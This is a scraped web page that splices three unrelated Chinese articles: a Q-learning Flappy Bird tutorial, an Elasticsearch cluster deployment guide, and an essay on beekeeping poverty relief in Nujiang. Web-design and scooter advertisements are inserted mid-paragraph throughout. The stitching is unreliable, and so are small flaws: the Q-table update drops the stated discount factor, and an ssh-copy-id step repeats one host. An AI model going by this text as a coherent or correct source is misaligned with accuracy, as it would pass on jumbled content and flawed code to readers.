DQN(Deep Q-learning)入門教程(四)之Q-learning Play Flappy Bird_網頁設計公司

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

台中景泰電動車行只是一個單純的理由,將來台灣的環境,出門可以自由放心的深呼吸,讓空氣回歸自然的乾淨,減少污染,留給我們下一代有好品質無空污的優質環境

在上一篇博客中,我們詳細的對Q-learning的算法流程進行了介紹。同時我們使用了\(\epsilon-貪婪法\)防止陷入局部最優。

那麼我們可以想一下,最後我們得到的結果是什麼樣的呢?因為我們考慮到了所有的(\(\epsilon-貪婪法\)導致的)情況,因此最終我們將會得到一張如下的Q-Table表。

Q-Table \(a_1\) \(a_2\)
\(s_1\) \(q(s_1,a_1)\) \(q(s_1,a_2)\)
\(s_2\) \(q(s_2,a_1)\) \(q(s_2,a_2)\)
\(s_3\) \(q(s_3,a_1)\) \(q(s_3,a_2)\)

當agent運行到某一個場景\(s\)時,會去查詢已經訓練好的Q-Table,然後從中選擇一個最大的\(q\)對應的action。

訓練內容

這一次,我們將對Flappy-bird遊戲進行訓練。這個遊戲的介紹我就不多說了,可以看一下維基百科的介紹。

遊戲就是控制一隻穿越管道,然後可以獲得分數,對於小鳥來說,他只有兩個動作,跳or不跳,而我們的目標就是使小鳥穿越管道獲得更多的分數。

前置準備

因為我們的目標是來學習“強化學習”的,所以我們不可能說自己去弄一個Flappy-bird(當然自己弄也可以),這裏我們直接使用一個已經寫好的Flappy-bird。

PyGame-Learning-Environment,是一個Python的強化學習環境,簡稱PLE,下面時他Github上面的介紹:

PyGame Learning Environment (PLE) is a learning environment, mimicking the Arcade Learning Environment interface, allowing a quick start to Reinforcement Learning in Python. The goal of PLE is allow practitioners to focus design of models and experiments instead of environment design.

PLE hopes to eventually build an expansive library of games.

然後關於FlappyBird的文檔介紹在這裏,文檔的介紹還是蠻清楚的。安裝步驟如下所示,推薦在Pipenv的環境下安裝,不過你也可以直接clone我的代碼然後然後根據reademe的步驟進行使用。

git clone https://github.com/ntasfi/PyGame-Learning-Environment.git
cd PyGame-Learning-Environment/
pip install -e .

需要的庫如下:

  • pygame
  • numpy
  • pillow

函數說明

在官方文檔有幾個的函數在這裏說下,因為等下我們需要用到。

  • getGameState():獲得遊戲當前的狀態,返回值為一個字典:

    1. player y position.
    2. players velocity.
    3. next pipe distance to player
    4. next pipe top y position
    5. next pipe bottom y position
    6. next next pipe distance to player
    7. next next pipe top y position
    8. next next pipe bottom y position

    部分數據表示如下:

  • reset_game():重新開始遊戲

  • act(action):在遊戲中執行一個動作,參數為動作,返回執行后的分數。

  • game_over():假如遊戲結束,則返回True,否者返回False。

  • getActionSet():獲得遊戲的動作集合。

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    網站的第一印象網頁設計,決定了客戶是否繼續瀏覽的意願。台北網動廣告製作的RWD網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上它。

我們的窗體大小默認是288*512,其中鳥的速度在-20到10之間(最小速度我並不知道,但是經過觀察,並沒有小於-20的情況,而最大的速度在源代碼裏面已經說明好了為10)

Coding Time

在前面我們說,通過getGameState()函數,我們可以獲得幾個關於環境的數據,在這裏我們選擇如下的數據:

  • next_pipe_dist_to_player:
  • player_y與next_pipe_top_y的差值
  • 的速度

但是我們可以想一想,next_pipe_dist_to_player一共會有多少種的取值:因為窗體大小為288*512,則取值的範圍大約是0~288,也就是說它大約有288個取值,而關於player_y與next_pipe_top_y的差值,則大概有1024個取值。這樣很難讓模型收斂,因此我們將數值進行簡化。其中簡化的思路來自:GitHub

首先我們創建一個Agent類,然後逐漸向裏面添加功能。

class Agent():

    def __init__(self, action_space):
        # 獲得遊戲支持的動作集合
        self.action_set = action_space

        # 創建q-table
        self.q_table = np.zeros((6, 6, 6, 2))

        # 學習率
        self.alpha = 0.7
        # 勵衰減因子
        self.gamma = 0.8
        # 貪婪率
        self.greedy = 0.8

至於為什麼q-table的大小是(6,6,6,2),其中的3個6分別代表next_pipe_dist_to_playerplayer_y與next_pipe_top_y的差值的速度,其中的2代表動作的個數。也就是說,表格中的state一共有$6 \times6 \times 6 $種,表格的大小為\(6 \times6 \times 6 \times 2\)

縮小狀態值的範圍

我們定義一個函數get_state(s),這個函數專門提取遊戲中的狀態,然後返回進行簡化的狀態數據:

    def get_state(self, state):
        """
        提取遊戲state中我們需要的數據
        :param state: 遊戲state
        :return: 返回提取好的數據
        """
        return_state = np.zeros((3,), dtype=int)
        dist_to_pipe_horz = state["next_pipe_dist_to_player"]
        dist_to_pipe_bottom = state["player_y"] - state["next_pipe_top_y"]
        velocity = state['player_vel']
        if velocity < -15:
            velocity_category = 0
        elif velocity < -10:
            velocity_category = 1
        elif velocity < -5:
            velocity_category = 2
        elif velocity < 0:
            velocity_category = 3
        elif velocity < 5:
            velocity_category = 4
        else:
            velocity_category = 5

        if dist_to_pipe_bottom < 8:  # very close or less than 0
            height_category = 0
        elif dist_to_pipe_bottom < 20:  # close
            height_category = 1
        elif dist_to_pipe_bottom < 50:  # not close
            height_category = 2
        elif dist_to_pipe_bottom < 125:  # mid
            height_category = 3
        elif dist_to_pipe_bottom < 250:  # far
            height_category = 4
        else:
            height_category = 5

        # make a distance category
        if dist_to_pipe_horz < 8:  # very close
            dist_category = 0
        elif dist_to_pipe_horz < 20:  # close
            dist_category = 1
        elif dist_to_pipe_horz < 50:  # not close
            dist_category = 2
        elif dist_to_pipe_horz < 125:  # mid
            dist_category = 3
        elif dist_to_pipe_horz < 250:  # far
            dist_category = 4
        else:
            dist_category = 5

        return_state[0] = height_category
        return_state[1] = dist_category
        return_state[2] = velocity_category
        return return_state

更新Q-table

更新的數學公式如下:

\[{\displaystyle Q^{new}(s_{t},a_{t})\leftarrow \underbrace {Q(s_{t},a_{t})} _{\text{舊的值}}+\underbrace {\alpha } _{\text{學習率}}\cdot \overbrace {{\bigg (}\underbrace {\underbrace {r_{t}} _{\text{獎勵}}+\underbrace {\gamma } _{\text{獎勵衰減因子}}\cdot \underbrace {\max _{a}Q(s_{t+1},a)} _{\text{estimate of optimal future value}}} _{\text{new value (temporal difference target)}}-\underbrace {Q(s_{t},a_{t})} _{\text{舊的值}}{\bigg )}} ^{\text{temporal difference}}} \]

下面是更新Q-table的函數代碼:

def update_q_table(self, old_state, current_action, next_state, r):
    """

    :param old_state: 執行動作前的狀態
    :param current_action: 執行的動作
    :param next_state: 執行動作后的狀態
    :param r: 獎勵
    :return:
    """
    next_max_value = np.max(self.q_table[next_state[0], next_state[1], next_state[2]])

    self.q_table[old_state[0], old_state[1], old_state[2], current_action] = (1 - self.alpha) * self.q_table[
        old_state[0], old_state[1], old_state[2], current_action] + self.alpha * (r + next_max_value)

選擇最佳的動作

然後我們就是根據q-table對應的Q值選擇最大的那一個,其中第一個代表(也就是0)跳躍,第2個代表不執行任何操作。

選擇的示意圖如下:

代碼如下所示:

def get_best_action(self, state, greedy=False):
    """
    獲得最佳的動作
    :param state: 狀態
    :是否使用ϵ-貪婪法
    :return: 最佳動作
    """
	
    # 獲得q值
    jump = self.q_table[state[0], state[1], state[2], 0]
    no_jump = self.q_table[state[0], state[1], state[2], 1]
    # 是否執行策略
    if greedy:
        if np.random.rand(1) < self.greedy:
            return np.random.choice([0, 1])
        else:
            if jump > no_jump:
                return 0
            else:
                return 1
    else:
        if jump > no_jump:
            return 0
        else:
            return 1

更新\(\epsilon\)

這個比較簡單,從前面的博客中,我們知道\(\epsilon\)是隨着訓練次數的增加而減少的,有很多種策略可以選擇,這裏乘以\(0.95\)吧。

def update_greedy(self):
    self.greedy *= 0.95

執行動作

在官方文檔中,如果小鳥沒有死亡獎勵為0,越過一個管道,獎勵為1,死亡獎勵為-1,我們稍微的對其進行改變:

def act(self, p, action):
    """
    執行動作
    :param p: 通過p來向遊戲發出動作命令
    :param action: 動作
    :return: 獎勵
    """
    # action_set表示遊戲動作集(119,None),其中119代表跳躍
    r = p.act(self.action_set[action])
    if r == 0:
        r = 1
    if r == 1:
        r = 10
    else:
        r = -1000
    return r

main函數

最後我們就可以執行main函數了。

if __name__ == "__main__":
    # 訓練次數
    episodes = 2000_000000
    # 實例化遊戲對象
    game = FlappyBird()
    # 類似遊戲的一個接口,可以為我們提供一些功能
    p = PLE(game, fps=30, display_screen=False)
    # 初始化
    p.init()
    # 實例化Agent,將動作集傳進去
    agent = Agent(p.getActionSet())
    max_score = 0
	
    for episode in range(episodes):
        # 重置遊戲
        p.reset_game()
        # 獲得狀態
        state = agent.get_state(game.getGameState())
        agent.update_greedy()
        while True:
            # 獲得最佳動作
            action = agent.get_best_action(state)
            # 然後執行動作獲得獎勵
            reward = agent.act(p, action)
            # 獲得執行動作之後的狀態
            next_state = agent.get_state(game.getGameState())
            # 更新q-table
            agent.update_q_table(state, action, next_state, reward)
            # 獲得當前分數
            current_score = p.score()
            state = next_state
            if p.game_over():
                max_score = max(current_score, max_score)
                print('Episodes: %s, Current score: %s, Max score: %s' % (episode, current_score, max_score))
                # 保存q-table
                if current_score > 300:
                    np.save("{}_{}.npy".format(current_score, episode), agent.q_table)
                break

部分的訓練的結果如下:

總結

emm,說實話,我也不知道結果會怎麼樣,因為訓練的時間比較長,我不想放在我的電腦上面跑,然後我就放在樹莓派上面跑,但是樹莓派性能比較低,導致訓練的速度比較慢。但是,我還是覺得我的方法有點問題,get_state()函數中簡化的方法,我感覺不是特別的合理,如果各位有好的看法,可以在評論區留言哦,然後共同學習。

項目地址:https://github.com/xiaohuiduan/flappy-bird-q-learning

參考

  • Use reinforcement learning to train a flappy bird NEVER to die
  • PyGame-Learning-Environment
  • https://github.com/BujuNB/Flappy-Brid-RL

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

以設計的實用美學觀點,規劃出舒適、美觀的視覺畫面,有效提昇使用者的心理期待,營造出輕鬆、愉悅的網站瀏覽體驗。

Elasticsearch系列—生產集群部署(上)_網頁設計公司

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

當全世界的人們隨著網路時代而改變向上時您還停留在『網站美醜不重要』的舊有思維嗎?機會是留給努力改變現況的人們,別再浪費一分一秒可以接觸商機的寶貴時間!

概要

本篇開始介紹Elasticsearch生產集群的搭建及相關參數的配置。

ES集群的硬件特性

我們從開始編程就接觸過各種各樣的組件,而每種功能的組件,對硬件要求的特性都不太相同,有的需要很強的CPU計算能力,有的對內存需求量大,有的對網卡要求高等待,下面我們討論一下ES集群對幾種硬件的特性需求。

CPU

ES集群對CPU的要求相對低一些,畢竟純計算的比重要小一些,選用主流的CPU,2核到8核的都可以。

如果有兩種CPU可以挑選,一種是主頻高但核數少的CPU,另一種是主頻一般核數多的CPU,肯定選后一種,因為多核的CPU可以提供更多的併發處理能力,遠比單核高性能帶來的效益要高。

內存

ES集群對內存的要求很高,部署ES集群時,要把大部分資源投入到內存當中。內存分配主要有兩部分,JVM heap內存(堆內存)和OS Cache內存。

JVM heap內存用得不多,主要是OS Cache,我們知道,ES建立的倒排索引,正排索引,過濾器緩存,都是優先放在內存當中的,OS Cache的大小直接決定搜索的性能,如果OS Cache不夠,ES搜索等操作只有被迫讀硬盤,延時就會從毫秒級升到秒級。

OS Cache具體在多大才算夠,取決於數據量,如果是百萬級別的數據,16GB左右應該可以接受,如果是億級,一般單節點都是64GB內存。生產環境最低要求內存應不低於8GB。

硬盤

硬盤成本本身比較便宜,能用SSD就用SSD,訪問速度肯定比机械硬盤快,預估好數據量后就盡可能多規劃一些容量。

另外盡量使用本地存儲,網絡存儲還依賴於網絡傳輸,這個容易造成一些延遲。

網絡

對ES集群這種分佈式系統來說,快速並且可靠的網絡還是比較重要的,shard的分配和rebalance都需要佔用大量的帶寬,集群最好部署在同一個局域網內,異地容災等跨數據中心的部署方案,要考慮到網絡故障帶來的影響。

JVM選擇

使用ES官網推薦的JDK版本,服務端和客戶端盡量使用同一個版本的JDK。

涉及到ES服務端的JVM調優設置,保持原樣不要輕易改動,畢竟ES已經花了大量人力物力驗證過的,隨意調整jvm參數可能適得其反。

容量規劃

規劃集群里,要規劃好投入幾台服務器,數據量上限是多少,業務模型數據讀寫的比例是多少,歷史數據的遷移方案等,一般來說,百萬到10億內的數據量,使用ES集群還是能夠支撐下來的,ES節點數建議不要超過100個。

舉個例子:數據量10億以內,部署5台服務器,8核64GB內存,是能夠支撐的。

生產案例模擬

Linux操作系統搭建

我們使用Linux虛擬機來演示一個生產ES集群的搭建。我們創建4台虛擬機,每台2核CPU,4GB內存,操作系統為CentOS 7 64bit。

虛擬機我用的是VMware workstation,有用virtual box也行,CentOS 7、JDK的安裝不贅述。記得把CentOS的防火牆關了。

修改每台機器的hostname信息,命令
vi /etc/hostname,修改文件,保存即可,建議修改成elasticsearch01,elasticsearch02,elasticsearch03,elasticsearch04。

假定我們4台虛擬機的域名和IP是這樣分配的:

192.168.17.138 elasticsearch01
192.168.17.137 elasticsearch02
192.168.17.132 elasticsearch03
192.168.17.139 elasticsearch04

把這段配置放在 /etc/hosts文件末尾,4台機器做相同的配置。

這4台機器之間,可以配置免密登錄,如在elasticsearch01機器上,我們執行以下操作:

  1. 生成公鑰文件,命令:
ssh-keygen -t rsa

一直輸入回車,不要設置密碼默認會將公鑰放在/root/.ssh目錄下生成id_rsa.pub和id_rsa兩個文件

  1. 拷貝公鑰文件
cp id_rsa.pub authorized_keys
  1. 將公鑰文件拷貝到另外三台機器
ssh-copy-id -i elasticsearch02
ssh-copy-id -i elasticsearch03
ssh-copy-id -i elasticsearch03

拷貝完成后,可以在目標機器上/root/.ssh/目錄下看到多了一個authorized_keys文件。

  1. 嘗試免密登錄,在elasticsearch01機器上輸入ssh elasticsearch02,如果不需要輸入密碼就能登錄到elasticsearch02,說明配置成功,其他機器類似。

這4台機器也可以相互做ssh免密設置。

這裏補充一點免密登錄的方向性問題,上面的案例是在elasticsearch01機器生成的公鑰,並且發送給了elasticsearch02等三台機器,那麼我從elasticsearch01跳到elasticsearch02是不需要密碼的,反過來從elasticsearch02登錄到elasticsearch01,還是需要密碼的。

最後補充幾個常用檢查命令:

  • 檢查NetManager的狀態:systemctl status NetworkManager.service
  • 檢查NetManager管理的網絡接口:nmcli dev status
  • 檢查NetManager管理的網絡連接:nmcli connection show

Elasticsearch服務端

這裏選用的JDK版本為1.8.0_211,Elasticsearch版本為6.3.1,自行安裝不贅述。

ES解壓后的目錄結構:

# 用 "tree -L 1" 命令得到的樹狀結構
.
├── bin
├── config
├── lib
├── LICENSE.txt
├── logs
├── modules
├── NOTICE.txt
├── plugins
└── README.textile
  • bin:存放es的一些可執行腳本,比如用於啟動進程的elasticsearch命令,以及用於安裝插件的elasticsearch-plugin插件
  • config:用於存放es的配置文件,比如elasticsearch.yml
  • logs:用於存放es的日誌文件
  • plugins:用於存放es的插件
  • data:用於存放es的數據文件的默認目錄,就是每個索引的shard的數據文件,一般會另外指定一個目錄。

Elasticsearch參數設置

在config目錄下的文件,包含了ES的基本配置信息:

.
├── elasticsearch.yml
├── jvm.options
├── log4j2.properties
├── role_mapping.yml
├── roles.yml
├── users
└── users_roles

默認參數

Elasticsearch的配置項比較豐富並且默認配置已經非常優秀了,基本上我們需要改動的是跟服務器環境相關的配置,如IP地址,集群名稱,數據存儲位置,日誌存儲位置等外圍參數,涉及到內部機制及JVM參數的,一般不干預,不恰當的JVM參數調整反而會導致集群出現性能故障,如果沒有充足的理由或數據驗證結果,不要輕易嘗試修改。

集群和節點名稱

在elasticsearch.yml文件里這項配置表示集群名稱,配置項默認是註釋掉的,集群名稱默認為elasticsearch。

#cluster.name: my-application

這個配置項強烈建議打開,用項目約定的命名規範進行重命名,並且將研發環境、測試環境、STG准生產環境、生產環境分別命名,如elasticsearch_music_app_dev表示研發環境,elasticsearch_music_app_sit表示測試環境,elasticsearch_music_app_pro表示生產環境等。避免開發測試環境連錯環境,無意中加入集群導致數據問題。

cluster.name: elasticsearch_music_app_pro

節點名稱的配置項

#node.name: node-1

默認也是註釋掉的,ES啟動時會分配一個隨機的名稱,建議還是自行分配一個名稱,這樣容易記住是哪台機器,如

node.name: es_node_001_data

文件路徑

涉及到文件路徑的幾個參數,主要有數據、日誌、插件等,默認這幾個地址都是在Elasticsearch安裝的根目錄下,但Elasticsearch升級時,有些目錄可能會有影響,安全起見,可以單獨設置目錄。

#
# ----------------------------------- Paths ------------------------------------
#
# Path to directory where to store the data (separate multiple locations by comma):
#
#path.data: /path/to/data
#
# Path to log files:
#
#path.logs: /path/to/logs
#

例如我們可以在/var目錄下創建相應的文件夾,並且賦予相應的讀寫權限,如:

path.data: /var/es/data
path.logs: /var/es/logs

日誌文件配置

log4j2.properties文件,ES日誌框架選用的是log4j2,也就是log4j的進化版本,對Java技術棧熟悉的童鞋,看到這個配置文件會非常熟悉,默認的日誌輸入配置、格式均能滿足日常的故障定位和分析,也不需要什麼改動。

默認是一天生成一個日期文件,如果ES承載的數據量特別大,可以調整日誌文件產生頻率和每個日誌文件的大小,以及ES最多存儲日誌的大小、數量。

Elasticsearch集群發現機制

配置參數

Zen Discovery是Elasticsearch集群發現機制的默認實現,底層通信依賴transport組件,我們完成Elasticsearch集群的配置主要有下面幾個參數:

  • cluster.name 指定集群的名稱。
  • node.name 節點名稱。
  • network.host 節點綁定的IP。
  • node.master 可選值為true/false,決定該節點類型為master eligible或data node。
  • discovery.zen.ping.unicast.hosts gossip路由服務的IP地址,即集群發現協議通信的公共節點,可以寫多個,有節點啟動時會向裏面的IP發送消息,獲取集群其他節點的信息,最後加入集群。

Elasticsearch集群是點對點(P2P)的分佈式系統架構,數據索引、搜索操作是node之間直接通信的,沒有中心式的master節點,但Elasticsearch集群內的節點也分成master node和data node兩種角色。

正常情況下,Elasticsearch集群只有一個master節點,它負責維護整個集群的狀態信息,集群的元數據信息,有新的node加入或集群內node宕機下線時,重新分配shard,並同步node的狀態信息給所有的node節點,這樣所有的node節點都有一份完整的cluster state信息。

集群發現的一般步驟如下:

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

透過資料庫的網站架設建置,建立公司的形象或購物系統,並提供最人性化的使用介面,讓使用者能即時接收到相關的資訊

  1. 節點配置network.host綁定內網地址,配置各自的node.name信息,cluster.name設置為相同的值。
  2. discovery.zen.ping.unicast.hosts配置了幾個gossip路由的node。
  3. 所有node都可以發送ping消息到路由node,再從路由node獲取cluster state回來。
  4. 所有node執行master選舉。
  5. 所有node都會跟master進行通信,然後加入master的集群。

master選舉

node.master設置為true的,將成為master eligible node,也叫master候選節點,只有master eligible node才能被選舉成master node。如果是個小集群,那麼所有節點都可以是master eligible node,10個節點以上的集群,可以考慮拆分master node和data node,一般建議master eligible node給3個即可。

master選舉過程是自動完成的,有幾個參數可以影響選舉的過程:

  • discovery.zen.ping_timeout: 選舉超時時間,默認3秒,網絡狀況不好時可以增加超時時間。

  • discovery.zen.join_timeout: 有新的node加入集群時,會發送一個join request到master node,同樣因為網絡原因可以調大,如果一次超時,默認最多重試20次。

  • discovery.zen.master_election.ignore_non_master_pings:如果master node意外宕機了,集群進行重新選舉,如果此值為true,那麼只有master eligible node才有資格被選為master。

  • discovery.zen.minimum_master_nodes: 新選舉master時,要求必須有多少個 master eligible node去連接那個新選舉的master。而且還用於設置一個集群中必須擁有的master eligible node。如果這些要求沒有被滿足,那麼master node就會被停止,然後會重新選舉一個新的master。這個參數必須設置為我們的master eligible node的quorum數量。一般避免說只有兩個master eligible node,因為2的quorum還是2。如果在那個情況下,任何一個master候選節點宕機了,集群就無法正常運作了。

集群故障探查

有兩種集群故障探查機制

  1. master主動對集群中所有的其他node發起ping命令,判斷它們是否是存活着的。
  2. 每個node向master node發送ping請求,判斷master node是否存活,否則就會發起一個選舉過程。

有下面三個參數用來配置集群故障的探查過程:

  • ping_interval:ping一次node的間隔時間,默認是1s
  • ping_timeout:每次ping的timeout等待時長,默認是30s
  • ping_retries:對node的ping請求失敗了,重試次數,默認3次。

集群狀態更新

master node是集群中唯一可以對cluster state進行更新的node。更新的步驟如下:

  1. master node收到更新事件,如shard移動,可能會有多條事件,但master node一次只處理一個集群狀態的更新事件。
  2. master node將事件更新到本地,併發布publish message到集群所有的node上。
  3. node接收publish message后,對這個message返回ack響應,但是不會立即更新。
  4. 如果master沒有在指定的時間內(discovery.zen.commit_timeout配置項,默認是30s),從至少N個節點(discovery.zen.minimum_master_nodes配置項)獲取ack響應,那麼這次cluster state change事件就會被reject,最終不會被提交。
  5. 如果在指定時間內,指定數量的node都返回了ack消息,那麼cluster state就會被commit,然後master node把 commit message發送給所有的node。所有的node接收到那個commit message之後,接着才會將之前接收到的集群狀態應用到自己本地的狀態副本中去。
  6. master會等待所有node的commit message 的ack消息,在一個等待超時時長內,如果接收到了響應,表示狀態更新成功,master node繼續處理內存queue中保存的下一個更新事件。

discovery.zen.publish_timeout默認是30s,這個超時等待時長是從plublish cluster state開始計算的。

我們可以參照此圖:

master node宕機問題

Elasticsearch集群中,master node扮演着非常重要的角色,如果master node宕機了,那豈不是群龍無首了?雖然有master選舉,但這個也是要時間的,沒有master node那段空檔期集群該怎麼辦?

說了一半,基本上是完了,但我們也可以設置,群龍無首時哪些操作可以做,哪些操作不能做。

discovery.zen.no_master_block配置項可以控制在群龍無首時的策略:

  • all: 一旦master宕機,那麼所有的操作都會被拒絕。
  • write:默認的選項,所有寫操作都會被拒絕,但是讀操作是被允許的。

split-brain(腦分裂問題)

在Elasticsearch集群中,master node非常重要,並且只有一個,相當於整個集群的大腦,控制將整個集群狀態的更新,如果Elasticsearch集群節點之間出現區域性的網絡中斷,比如10個節點的Elasticsearch集群,4台node部署在機房A區,6台node部署在機房B區,如果A區與B區的交換機故障,導致兩個區隔離開來了,那麼沒有master node的那個區,會觸發master選舉,如果選舉了新的master,那麼整個集群就會出現兩個master node,這種現象叫做腦分裂。

這樣現象很嚴重,會破壞集群的數據,該如何避免呢?

回到我們前面提到的discovery.zen.minimum_master_nodes參數,這個值的正確設置,可以避免上述的腦分裂問題。

discovery.zen.minimum_master_nodes參數表示至少需要多少個master eligible node,才可以成功地選舉出master,否則不進行選舉。

足夠的master eligible node計算公式:

quorum = master_eligible_nodes / 2 + 1

如上圖我們10個node的集群,如果全部是master eligible node,那麼quorum = 10/2 + 1 = 6。

如果我們有3個master eligible node,7個data node,那麼quorum = 3/2 + 1 = 2。

如果集群只有2個節點,並且全是master eligible node,那麼quorum = 2/2 + 1 = 2,問題就來了,如果隨便一個node宕機,在只剩下一個node情況下,無法滿足quorum的值,master永遠選舉不成功,集群就徹底無法寫入了,所以只能設置成1,後果是只要這兩個node之間網絡斷了,就會發生腦分裂的現象。

所以一個Elasticsearch集群至少得有3個node,全部為master eligible node的話,quorum = 3/2 + 1 = 2。如果我們設置minimum_master_nodes=2,分析一下會不會出現腦分裂的問題。

場景一:A區一個node,為master,B區兩個node,為master eligible node

A區因為只剩下一個node,無法滿足quorum的條件,此時master取消當前的master角色,且無法選舉成功。

B區兩個master eligible node,滿足quorum條件,成功選舉出master。

此時集群還是只有一個master,待網絡故障恢復后,集群數據正常。

場景二:A區一個node,為master eligible node,B區2個node,其中一個是master

A區只有一個master eligible node,不滿足quorum的條件,無法進行選舉。

B區原本的master存在,不需要進行選舉,並且滿quorum的條件,master角色可以保留。

此時集群還是一個master,正常。

綜上所述:3個節點的集群,全部為master eligible node,配置discovery.zen.minimum_master_nodes: 2,就可以避免腦裂問題的產生。

minimum_master_nodes動態修改

因為集群是可以動態增加和下線節點的,quorum的值也會跟着改變。minimum_master_nodes參數值需要通過api隨時修改的,特別是在節點上線和下線的時候,都需要作出對應的修改。而且一旦修改過後,這個配置就會持久化保存下來。

修改api請求如下:

PUT /_cluster/settings
{
    "persistent" : {
        "discovery.zen.minimum_master_nodes" : 2
    }
}

響應報文:

{
  "acknowledged": true,
  "persistent": {
    "discovery": {
      "zen": {
        "minimum_master_nodes": "2"
      }
    }
  },
  "transient": {}
}

也可以通過命令查詢當前的配置:

GET /_cluster/settings

響應結果如下:

{
  "persistent": {
    "discovery": {
      "zen": {
        "minimum_master_nodes": "1"
      }
    }
  },
  "transient": {}
}
留一個問題

上圖10個節點的集群,假設全是master eligible node,按照上述的網絡故障,會不會出現腦分裂現象 ?配置項minimum_master_nodes最低要配置成多少,才不會出現腦分裂的問題?

小結

本篇主要介紹了Elasticsearch集群的部署和參數設置等知識,大部分都不需要人工干預,默認值已經是最優選,集群發現機制和master選舉機制了解一下就OK。

專註Java高併發、分佈式架構,更多技術乾貨分享與心得,請關注公眾號:Java架構社區
可以掃左邊二維碼添加好友,邀請你加入Java架構社區微信群共同探討技術

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※想知道最厲害的網頁設計公司嚨底家"!

RWD(響應式網頁設計)是透過瀏覽器的解析度來判斷要給使用者看到的樣貌

大峽谷里的甜蜜事業_包裝設計

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網動廣告出品的網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上她。

  王文攝(影像中國)

  登高臨水,車窗外,在高黎貢山和碧羅雪山的夾擊下,怒江艱難盤旋,峽谷之中左沖右突,闖前撞后,鐘鼓雷鳴,奔騰不息,和瀾滄江、金沙江一起衝激“三江併流”的奇瑰壯麗景象。我想,那些奔波在怒江峽谷間的扶貧隊伍,不就是一道道奮力衝出貧困大峽谷的瑰麗激流嗎?

   

  一

  許多人都讀過楊朔的散文名篇《荔枝蜜》,文中主人公“老梁”如今成了“梁老”,是廣東省蜂產品協會的名譽會長。不久前,偶然得知“梁老”被珠海市駐雲南省怒江傈僳族自治州扶貧工作組請了過去,到怒江考察養蜂扶貧。他不顧高齡,翻山越嶺考察之後,認為怒江十分適合養蜂,還順道給怒江的幹部們傳授了生動的“養蜂經”。隨後,珠海在怒江幫扶了兩百多個本地中華蜂養殖點,幫助當地群眾成就甜蜜的事業。

  中秋節前,為了看個究竟,我馬不停蹄去怒江州跑了幾天。古人曾以“水無不怒石,山有欲來峰”來描寫怒江。我震撼於高山峽谷、石裂川奔的壯美景色,目睹水石相搏、響之激越的驚濤駭浪,親見碧羅雪山和高黎貢山“兩山夾一江,一江拽二山”的畫面:“掛”在陡坡的耕地,木棚屋的篝火塘,危險的溜索,以及茶馬古道。正如宋代王安石所言:“世之奇偉、瑰怪,非常之觀,常在於險遠,而人之所罕至焉,故非有志者不能至也。”壯麗的風景往往綻放有志者非同尋常的壯美人生。

  珠海駐怒江扶貧工作組組長張松,一上車就說起他的養蜂扶貧經歷:從珠海帶來的企業,考察一遍多數都跑了。為啥?交通不便,百分之九十八的高山峽谷,怒江五十多萬人口,貧困的佔了一半。當地無機場、無火車、無航運、無高速公路,進出一趟要幾天時間。一年兩百多天都在下雨,道路常見塌方。

  一路顛簸一路看,我逐漸對怒江作為我國最貧困的“三區三州”之一有了切身認識。怒江的大山裡,很多地方風景優美,卻也是與貧困作鬥爭的一線。海拔越低,平地越少,山頂的村民除了在緩坡上種些玉米等糧食外,少有可脫貧致富的產業。

  怒江,渾身透露着大自然的那股韌勁兒。一邊雲霧繚繞,風光旖旎,幽谷懸岩,絕壑奔流,穠花異草,山水如畫;一邊面臨着艱巨的脫貧攻堅任務。鮮紅的三角梅,一簇簇迎風搖曳,山坡上開得正艷。張松說,扶貧還是要結合怒江當地實際,找准產業扶貧項目。“這不,我們把梁老請了過來,一番考察,發現怒江生態環境好,蜂蜜質量高,技術容易學,當地就有樹桶養蜂的傳統。而養蜂最需要的花源和蜜源,怒江都具備。玉米多,有充足的花粉供養小蜜蜂,利於蜂群繁殖。崇山峻岭,生態植被好,野桂花、杜鵑花、板栗花、草果花、油菜花……各種花多,有充足的蜜源,缺的是技術培訓和扶貧引領。”

  扶貧先扶志,有志者事竟成。扶貧項目確定后,工作組找到珠海專業養蜂的何伯農業公司合作,請他們派技術人員負責培訓,雙方一拍即合。一年來,派駐的一百多名珠海養蜂人行走在怒江的高山峽谷間,風餐露宿,披星戴月,培訓了兩千多名怒江養蜂人。

  養蜂人的到來打破了峽谷的寧靜,給怒江的山水增添了幾分熱鬧,也為我重新審視怒江打開了想象空間。怒江州因怒江而聞名。我以前覺得,怒江之美,最壯觀的是大峽谷,但現在覺得,怒江之美,還有那行走峽谷間,日夜與貧困頑強抗爭的養蜂人的堅韌。對為幫助他人實現美好生活而奔走的人,我們應該表達足夠的敬意!這正是人們綿延不息、不屈不撓、砥礪前行的精神偉力!

  登高臨水,車窗外,在高黎貢山和碧羅雪山的夾擊下,怒江艱難盤旋,峽谷之中左沖右突,闖前撞后,鐘鼓雷鳴,奔騰不息,和瀾滄江、金沙江一起衝激“三江併流”的奇瑰壯麗景象。我想,那些奔波在怒江峽谷間的扶貧隊伍,不就是一道道奮力衝出貧困大峽谷的瑰麗激流嗎?

  二

  扶貧工作組的同志熱情邀請我們去一個養蜂培訓點看看。綿綿細雨中,車子從丙中洛出發,沿怒江而行,崎嶇山路,斗折蛇行。遠眺山峰,一座座高腳木樓,錯落有致。約一個小時,來到一處山坡。坡地一字形擺放好幾排蜂箱,小蜜蜂從箱底沿小孔忙碌地進進出出。

  這裡是貢山獨龍族怒族自治縣閃當村吉木登小組的養蜂培訓點。村小組幹部領我們爬上山坡,鑽進一個簡陋的塑料棚。地上幾個木箱,箱上鋪着軍大衣,這就是守夜的床了。剛一坐下,他就介紹起小組養蜂培訓情況。

  “包了五十箱蜂,有一箱跑了蜂王,還有四十九箱蜂。”

  “大夥培訓了一個多月,每天傍晚5點到9點,集中培訓三四個小時。”

